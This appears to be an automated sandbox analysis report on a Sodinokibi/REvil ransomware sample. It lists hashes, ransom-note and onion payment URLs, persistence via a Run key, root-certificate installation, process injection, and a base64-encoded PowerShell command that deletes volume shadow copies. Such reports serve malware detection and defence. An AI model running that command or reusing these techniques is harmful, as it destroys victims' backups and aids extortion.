Analysis
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max time kernel
136s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
05-05-2024 09:21
Behavioral task
behavioral1
Sample
1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
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Size
165KB
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MD5
1701c19d9610ee4be543815bff908281
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SHA1
44821ddb87e0260ee8ba368e08c75b0ad3232923
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SHA256
6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20
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SHA512
6794cb5b710b5165dfb59a6dcecff7776dce69b452b82e51dd9d35ec951e15febe9d71ceedc7ea91845b0d6e8c4214e7c07935dd2c8dd6f5c372e35971eed5ae
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SSDEEP
3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NabPos:lw02sJPi7O93N9s
Malware Config
Extracted
C:\Users\06z3z-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7936EA53BFDF7C92
http://decryptor.top/7936EA53BFDF7C92
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L2mKLMcNmB = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe" 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\G: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\S: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\Y: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\E: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\L: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\U: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\W: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\I: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\M: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\N: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\A: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\P: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\Q: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\T: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\X: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\D: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\F: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\H: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\O: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\J: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\K: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\R: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\V: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened (read-only) \??\Z: 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\i0i9309448k1.bmp" 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
Drops file in Program Files directory 16 IoCs
description ioc Process File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\06z3z-readme.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File created \??\c:\program files (x86)\06z3z-readme.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\EnterInvoke.xltx 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\SkipSubmit.ADTS 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\UnlockSplit.snd 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterGet.aiff 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\06z3z-readme.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\06z3z-readme.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File created \??\c:\program files\06z3z-readme.txt 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\AddRestore.vdx 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\SuspendWait.dxf 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\RevokeRequest.rar 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\UndoLimit.xlsx 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\ConnectSuspend.pps 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\GetConvertTo.3g2 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe File opened for modification \??\c:\program files\WaitClose.M2TS 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000020000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2256 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe 2832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2832 powershell.exe Token: SeBackupPrivilege 2560 vssvc.exe Token: SeRestorePrivilege 2560 vssvc.exe Token: SeAuditPrivilege 2560 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2256 wrote to memory of 2832 2256 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe 28 PID 2256 wrote to memory of 2832 2256 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe 28 PID 2256 wrote to memory of 2832 2256 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe 28 PID 2256 wrote to memory of 2832 2256 1701c19d9610ee4be543815bff908281_JaffaCakes118.exe 28 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2576
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD5b02f5ccf48ed8a7bdef316c28f14bbd2
SHA17093b2ba96581a15ba9bda3f2389490c11e2780a
SHA25681bf98a14d0d3dfe9ee3432c721e42db13bbab3bf45aef40dae1e1df5326fa4f
SHA512c697341957b2c93e7fd6ddfadcf2d80808bdb83585dc0933c20c1a2a58042bfe262e48d8fc7f40e7fa3b25ca5944f1f24282f3267e9b7351c7b570fcd3401153
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Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
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Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
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Filesize
193KB
MD567b2c73603f72e8bed04dbc19732fb80
SHA16ccedd8bd95285d856899f7c670e2dadde3a5d54
SHA2562be282b2abe6e66d3d7bfaf7290c2a1dba7736c04ceb9d1bcefc27b71eff1715
SHA512aa29e891124a4a8ecde80109d2aad2511c04ad832f83e870bb63760eab324c08ba10842467e94efb3a780aae21084d60c872abadd9a37b408deaa7323a60468a